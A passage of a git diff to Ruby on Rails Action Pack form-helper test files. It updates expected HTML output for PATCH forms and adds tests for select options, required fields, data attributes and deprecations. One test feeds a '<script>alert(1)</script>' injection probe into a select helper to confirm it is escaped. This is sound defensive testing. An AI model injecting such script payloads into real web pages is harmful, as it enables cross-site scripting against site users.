@@ -1752,10 +2409,10 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'create-post', 'post_edit', :method => 'put') do
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' size='30' />"
+    expected = whole_form('/posts/123', 'create-post', 'edit_post', :method => 'patch') do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1768,8 +2425,8 @@ class FormHelperTest < ActionView::TestCase
       }
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'put') do
-      "<input name='post[category][name]' type='text' size='30' id='post_category_name' />"
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
+      "<input name='post[category][name]' type='text' id='post_category_name' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1792,60 +2449,46 @@ class FormHelperTest < ActionView::TestCase
       concat f.check_box(:secret)
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
       "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
     end
 
     assert_dom_equal expected, output_buffer
   end
 
-  def hidden_fields(method = nil)
-    txt =  %{<div style="margin:0;padding:0;display:inline">}
-    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
-    if method && !method.to_s.in?(['get', 'post'])
-      txt << %{<input name="_method" type="hidden" value="#{method}" />}
-    end
-    txt << %{</div>}
-  end
-
-  def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
-    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
-    txt << %{ enctype="multipart/form-data"} if multipart
-    txt << %{ data-remote="true"} if remote
-    txt << %{ class="#{html_class}"} if html_class
-    txt << %{ id="#{id}"} if id
-    method = method.to_s == "get" ? "get" : "post"
-    txt << %{ method="#{method}">}
-  end
+  def test_default_form_builder
+    old_default_form_builder, ActionView::Base.default_form_builder =
+      ActionView::Base.default_form_builder, LabelledFormBuilder
 
-  def whole_form(action = "/", id = nil, html_class = nil, options = nil)
-    contents = block_given? ? yield : ""
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
 
-    if options.is_a?(Hash)
-      method, remote, multipart = options.values_at(:method, :remote, :multipart)
-    else
-      method = options
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
     end
 
-    form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Base.default_form_builder = old_default_form_builder
   end
 
-  def test_default_form_builder
+  def test_lazy_loading_default_form_builder
     old_default_form_builder, ActionView::Base.default_form_builder =
-      ActionView::Base.default_form_builder, LabelledFormBuilder
+      ActionView::Base.default_form_builder, "FormHelperTest::LabelledFormBuilder"
 
     form_for(@post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
     end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1861,8 +2504,8 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected =
-      "<label for='title'>Title:</label> <input name='post[title]' size='30' type='text' id='post_title' value='Hello World' /><br/>" +
-      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea><br/>" +
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
       "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
 
     assert_dom_equal expected, output_buffer
@@ -1922,7 +2565,7 @@ class FormHelperTest < ActionView::TestCase
 
   def test_form_for_with_html_options_adds_options_to_form_tag
     form_for(@post, :html => {:id => 'some_form', :class => 'some_class'}) do |f| end
-    expected = whole_form("/posts/123", "some_form", "some_class", 'put')
+    expected = whole_form("/posts/123", "some_form", "some_class", 'patch')
 
     assert_dom_equal expected, output_buffer
   end
@@ -1930,7 +2573,7 @@ class FormHelperTest < ActionView::TestCase
   def test_form_for_with_string_url_option
     form_for(@post, :url => 'http://www.otherdomain.com') do |f| end
 
-    assert_equal whole_form("http://www.otherdomain.com", 'edit_post_123', 'edit_post', 'put'), output_buffer
+    assert_equal whole_form("http://www.otherdomain.com", 'edit_post_123', 'edit_post', 'patch'), output_buffer
   end
 
   def test_form_for_with_hash_url_option
@@ -1943,21 +2586,21 @@ class FormHelperTest < ActionView::TestCase
   def test_form_for_with_record_url_option
     form_for(@post, :url => @post) do |f| end
 
-    expected = whole_form("/posts/123", 'edit_post_123', 'edit_post', 'put')
+    expected = whole_form("/posts/123", 'edit_post_123', 'edit_post', 'patch')
     assert_equal expected, output_buffer
   end
 
   def test_form_for_with_existing_object
     form_for(@post) do |f| end
 
-    expected = whole_form("/posts/123", "edit_post_123", "edit_post", "put")
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", 'patch')
     assert_equal expected, output_buffer
   end
 
   def test_form_for_with_new_object
     post = Post.new
     post.persisted = false
-    def post.id() nil end
+    def post.to_key; nil; end
 
     form_for(post) do |f| end
 
@@ -1969,7 +2612,7 @@ class FormHelperTest < ActionView::TestCase
     @comment.save
     form_for([@post, @comment]) {}
 
-    expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", "put")
+    expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", 'patch')
     assert_dom_equal expected, output_buffer
   end
 
@@ -1984,7 +2627,7 @@ class FormHelperTest < ActionView::TestCase
     @comment.save
     form_for([:admin, @post, @comment]) {}
 
-    expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", "put")
+    expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", 'patch')
     assert_dom_equal expected, output_buffer
   end
 
@@ -1998,18 +2641,73 @@ class FormHelperTest < ActionView::TestCase
   def test_form_for_with_existing_object_and_custom_url
     form_for(@post, :url => "/super_posts") do |f| end
 
-    expected = whole_form("/super_posts", "edit_post_123", "edit_post", "put")
+    expected = whole_form("/super_posts", "edit_post_123", "edit_post", 'patch')
     assert_equal expected, output_buffer
   end
 
+  def test_form_for_with_default_method_as_patch
+    form_for(@post) {}
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_data_attributes
+    form_for(@post, data: { behavior: "stuff" }, remote: true) {}
+    assert_match %r|data-behavior="stuff"|, output_buffer
+    assert_match %r|data-remote="true"|, output_buffer
+  end
+
   def test_fields_for_returns_block_result
     output = fields_for(Post.new) { |f| "fields" }
     assert_equal "fields", output
   end
 
+  def test_form_builder_block_argument_deprecation
+    builder_class = Class.new(ActionView::Helpers::FormBuilder) do
+      def initialize(object_name, object, template, options, block)
+        super
+      end
+    end
+
+    assert_deprecated(/Giving a block to FormBuilder is deprecated and has no effect anymore/) do
+      builder_class.new(:foo, nil, nil, {}, proc {})
+    end
+  end
+
   protected
-    def protect_against_forgery?
-      false
+
+  def hidden_fields(method = nil)
+    txt =  %{<div style="margin:0;padding:0;display:inline">}
+    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+    if method && !%w(get post).include?(method.to_s)
+      txt << %{<input name="_method" type="hidden" value="#{method}" />}
     end
+    txt << %{</div>}
+  end
+
+  def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+    txt << %{ enctype="multipart/form-data"} if multipart
+    txt << %{ data-remote="true"} if remote
+    txt << %{ class="#{html_class}"} if html_class
+    txt << %{ id="#{id}"} if id
+    method = method.to_s == "get" ? "get" : "post"
+    txt << %{ method="#{method}">}
+  end
+
+  def whole_form(action = "/", id = nil, html_class = nil, options = nil)
+    contents = block_given? ? yield : ""
+
+    if options.is_a?(Hash)
+      method, remote, multipart = options.values_at(:method, :remote, :multipart)
+    else
+      method = options
+    end
+
+    form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+  end
 
+  def protect_against_forgery?
+    false
+  end
 end
diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb
index 469718e1bd..f908de865e 100644
--- a/actionpack/test/template/form_options_helper_test.rb
+++ b/actionpack/test/template/form_options_helper_test.rb
@@ -1,6 +1,5 @@
 require 'abstract_unit'
 require 'tzinfo'
-require 'active_support/core_ext/object/inclusion'
 
 class Map < Hash
   def category
@@ -83,7 +82,21 @@ class FormOptionsHelperTest < ActionView::TestCase
   def test_collection_options_with_proc_for_disabled
     assert_dom_equal(
       "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
-      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda{|p| p.author_name.in?(["Babe", "Cabe"]) })
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda {|p| %w(Babe Cabe).include?(p.author_name)})
+    )
+  end
+
+  def test_collection_options_with_proc_for_value_method
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, lambda { |p| p.author_name }, "title")
+    )
+  end
+
+  def test_collection_options_with_proc_for_text_method
+    assert_dom_equal(
+      "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", lambda { |p| p.title })
     )
   end
 
@@ -144,6 +157,13 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_range_options_for_select
+    assert_dom_equal(
+      "<option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option>",
+      options_for_select(1..3)
+    )
+  end
+
   def test_array_options_for_string_include_in_other_string_bug_fix
       assert_dom_equal(
         "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
@@ -161,16 +181,16 @@ class FormOptionsHelperTest < ActionView::TestCase
 
   def test_hash_options_for_select
     assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
-      options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").sort.join("\n")
+      "<option value=\"Dollar\">$</option>\n<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>",
+      options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").join("\n")
     )
     assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").sort.join("\n")
+      "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>",
+      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").join("\n")
     )
     assert_dom_equal(
-      "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
-      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").sort.join("\n")
+      "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>",
+      options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").join("\n")
     )
   end
 
@@ -275,10 +295,34 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
-  def test_grouped_options_for_select_with_selected_and_prompt
+  def test_grouped_options_for_select_with_optional_divider
     assert_dom_equal(
+      "<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+
+      grouped_options_for_select([['US',"Canada"] , ["GB", "Germany"]], nil, divider: "----------")
+    )
+  end
+
+  def test_grouped_options_for_select_with_selected_and_prompt_deprecated
+    assert_deprecated 'Passing the prompt to grouped_options_for_select as an argument is deprecated. Please use an options hash like `{ prompt: "Choose a product..." }`.' do
+      assert_dom_equal(
         "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
         grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", "Choose a product...")
+      )
+    end
+  end
+
+  def test_grouped_options_for_select_with_selected_and_prompt
+    assert_dom_equal(
+        "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
+    )
+  end
+
+  def test_grouped_options_for_select_with_selected_and_prompt_true
+    assert_dom_equal(
+        "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: true)
     )
   end
 
@@ -286,10 +330,18 @@ class FormOptionsHelperTest < ActionView::TestCase
     assert grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]]).html_safe?
   end
 
+  def test_grouped_options_for_select_with_prompt_returns_html_escaped_string_deprecated
+    ActiveSupport::Deprecation.silence do
+      assert_dom_equal(
+        "<option value=\"\">&lt;Choose One&gt;</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+        grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, '<Choose One>'))
+    end
+  end
+
   def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
     assert_dom_equal(
       "<option value=\"\">&lt;Choose One&gt;</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
-      grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, '<Choose One>'))
+      grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, prompt: '<Choose One>'))
   end
 
   def test_optgroups_with_with_options_with_hash
@@ -488,7 +540,7 @@ class FormOptionsHelperTest < ActionView::TestCase
 
   def test_select_under_fields_for_with_string_and_given_prompt
     @post = Post.new
-    options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>"
+    options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>".html_safe
 
     output_buffer = fields_for :post, @post do |f|
       concat f.select(:category, options, :prompt => 'The prompt')
@@ -508,6 +560,14 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_select_with_multiple_and_without_hidden_input
+    output_buffer =  select(:post, :category, "", {:include_hidden => false}, :multiple => true)
+    assert_dom_equal(
+      "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
   def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input
     output_buffer =  select(:post, :category, "", {}, :multiple => true, :disabled => true)
     assert_dom_equal(
@@ -596,6 +656,66 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_select_with_nil
+    @post = Post.new
+    @post.category = "othervalue"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"othervalue\" selected=\"selected\">othervalue</option></select>",
+      select("post", "category", [nil, "othervalue"])
+    )
+  end
+
+  def test_required_select
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true)
+    )
+  end
+
+  def test_required_select_with_include_blank_prompt
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, required: true)
+    )
+  end
+
+  def test_required_select_with_prompt
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), { prompt: "Select one" }, required: true)
+    )
+  end
+
+  def test_required_select_display_size_equals_to_one
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required" size="1"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, size: 1)
+    )
+  end
+
+  def test_required_select_with_display_size_bigger_than_one
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, size: 2)
+    )
+  end
+
+  def test_required_select_with_multiple_option
+    assert_dom_equal(
+      %(<input name="post[category][]" type="hidden" value=""/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, multiple: true)
+    )
+  end
+
+  def test_select_with_fixnum
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"1\">1</option></select>",
+      select("post", "category", [1], :prompt => true, :include_blank => true)
+    )
+  end
+
   def test_list_of_lists
     @post = Post.new
     @post.category = ""
@@ -626,6 +746,13 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_select_escapes_options
+    assert_dom_equal(
+      '<select id="post_title" name="post[title]">&lt;script&gt;alert(1)&lt;/script&gt;</select>',
+      select('post', 'title', '<script>alert(1)</script>')
+    )
+  end
+
   def test_select_with_selected_nil
     @post = Post.new
     @post.category = "<mus>"
@@ -653,6 +780,15 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_select_with_range
+    @post = Post.new
+    @post.category = 0
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option></select>",
+      select("post", "category", 1..3)
+    )
+  end
+
   def test_collection_select
     @post = Post.new
     @post.author_name = "Babe"
@@ -756,7 +892,25 @@ class FormOptionsHelperTest < ActionView::TestCase
     assert_dom_equal(
       "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
       collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
-       )
+    )
+  end
+
+  def test_collection_select_with_proc_for_value_method
+    @post = Post.new
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+      collection_select("post", "author_name", dummy_posts, lambda { |p| p.author_name }, "title")
+    )
+  end
+
+  def test_collection_select_with_proc_for_text_method
+    @post = Post.new
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", lambda { |p| p.title })
+    )
   end
 
   def test_time_zone_select
@@ -970,11 +1124,25 @@ class FormOptionsHelperTest < ActionView::TestCase
 
   def test_options_for_select_with_element_attributes
     assert_dom_equal(
-      "<option value=\"&lt;Denmark&gt;\" class=\"bold\">&lt;Denmark&gt;</option>\n<option value=\"USA\" onclick=\"alert('Hello World');\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
+      "<option value=\"&lt;Denmark&gt;\" class=\"bold\">&lt;Denmark&gt;</option>\n<option value=\"USA\" onclick=\"alert(&#x27;Hello World&#x27;);\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
       options_for_select([ [ "<Denmark>", { :class => 'bold' } ], [ "USA", { :onclick => "alert('Hello World');" } ], [ "Sweden" ], "Germany" ])
     )
   end
 
+  def test_options_for_select_with_data_element
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\" data-test=\"bold\">&lt;Denmark&gt;</option>",
+      options_for_select([ [ "<Denmark>", { :data => { :test => 'bold' } } ] ])
+    )
+  end
+
+  def test_options_for_select_with_data_element_with_special_characters
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\" data-test=\"&lt;bold&gt;\">&lt;Denmark&gt;</option>",
+      options_for_select([ [ "<Denmark>", { :data => { :test => '<bold>' } } ] ])
+    )
+  end
+
   def test_options_for_select_with_element_attributes_and_selection
     assert_dom_equal(
       "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
@@ -989,39 +1157,49 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
-  def test_option_html_attributes_from_without_hash
+  def test_options_for_select_with_special_characters
     assert_dom_equal(
-      "",
-      option_html_attributes([ 'foo', 'bar' ])
+      "<option value=\"&lt;Denmark&gt;\" onclick=\"alert(&quot;&lt;code&gt;&quot;)\">&lt;Denmark&gt;</option>",
+      options_for_select([ [ "<Denmark>", { :onclick => %(alert("<code>")) } ] ])
     )
   end
 
+  def test_option_html_attributes_with_no_array_element
+    assert_equal({}, option_html_attributes('foo'))
+  end
+
+  def test_option_html_attributes_without_hash
+    assert_equal({}, option_html_attributes([ 'foo', 'bar' ]))
+  end
+
   def test_option_html_attributes_with_single_element_hash
-    assert_dom_equal(
-      " class=\"fancy\"",
+    assert_equal(
+      {:class => 'fancy'},
       option_html_attributes([ 'foo', 'bar', { :class => 'fancy' } ])
     )
   end
 
   def test_option_html_attributes_with_multiple_element_hash
-    assert_dom_equal(
-      " class=\"fancy\" onclick=\"alert('Hello World');\"",
+    assert_equal(
+      {:class => 'fancy', 'onclick' => "alert('Hello World');"},
       option_html_attributes([ 'foo', 'bar', { :class => 'fancy', 'onclick' => "alert('Hello World');" } ])
     )
   end
 
   def test_option_html_attributes_with_multiple_hashes
-    assert_dom_equal(
-      " class=\"fancy\" onclick=\"alert('Hello World');\"",
+    assert_equal(
+      {:class => 'fancy', 'onclick' => "alert('Hello World');"},
       option_html_attributes([ 'foo', 'bar', { :class => 'fancy' }, { 'onclick' => "alert('Hello World');" } ])
     )
   end
 
-  def test_option_html_attributes_with_special_characters
-    assert_dom_equal(
-      " onclick=\"alert(&quot;&lt;code&gt;&quot;)\"",
-      option_html_attributes([ 'foo', 'bar', { :onclick => %(alert("<code>")) } ])
-    )
+  def test_option_html_attributes_with_multiple_hashes_does_not_modify_them
+    options1 = { class: 'fancy' }
+    options2 = { onclick: "alert('Hello World');" }
+    option_html_attributes([ 'foo', 'bar', options1, options2 ])
+
+    assert_equal({ class: 'fancy' }, options1)
+    assert_equal({ onclick: "alert('Hello World');" }, options2)
   end
 
   def test_grouped_collection_select
@@ -1034,6 +1212,24 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_grouped_collection_select_with_selected
+    @post = Post.new
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :selected => 'dk')
+    )
+  end
+
+  def test_grouped_collection_select_with_disabled_value
+    @post = Post.new
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option disabled="disabled" value="dk">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :disabled => 'dk')
+    )
+  end
+
   def test_grouped_collection_select_under_fields_for
     @post = Post.new
     @post.origin = 'dk'
@@ -1050,14 +1246,14 @@ class FormOptionsHelperTest < ActionView::TestCase
 
   private
 
-    def dummy_posts
-      [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
-    end
+  def dummy_posts
+    [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+      Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+      Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
+  end
 
-    def dummy_continents
-      [ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")] ),
-       Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")] ) ]
-    end
+  def dummy_continents
+    [ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")]),
+      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")]) ]
+  end
 end
diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb
index 6eae9bf846..3c66a29754 100644
--- a/actionpack/test/template/form_tag_helper_test.rb
+++ b/actionpack/test/template/form_tag_helper_test.rb
@@ -1,7 +1,8 @@
 require 'abstract_unit'
-require 'active_support/core_ext/object/inclusion'
 
 class FormTagHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
   tests ActionView::Helpers::FormTagHelper
 
   def setup
@@ -14,7 +15,7 @@ class FormTagHelperTest < ActionView::TestCase
 
     txt =  %{<div style="margin:0;padding:0;display:inline">}
     txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
-    if method && !method.to_s.in?(['get','post'])
+    if method && !%w(get post).include?(method.to_s)
       txt << %{<input name="_method" type="hidden" value="#{method}" />}
     end
     txt << %{</div>}
@@ -76,6 +77,12 @@ class FormTagHelperTest < ActionView::TestCase
     assert_dom_equal expected, actual
   end
 
+  def test_form_tag_with_method_patch
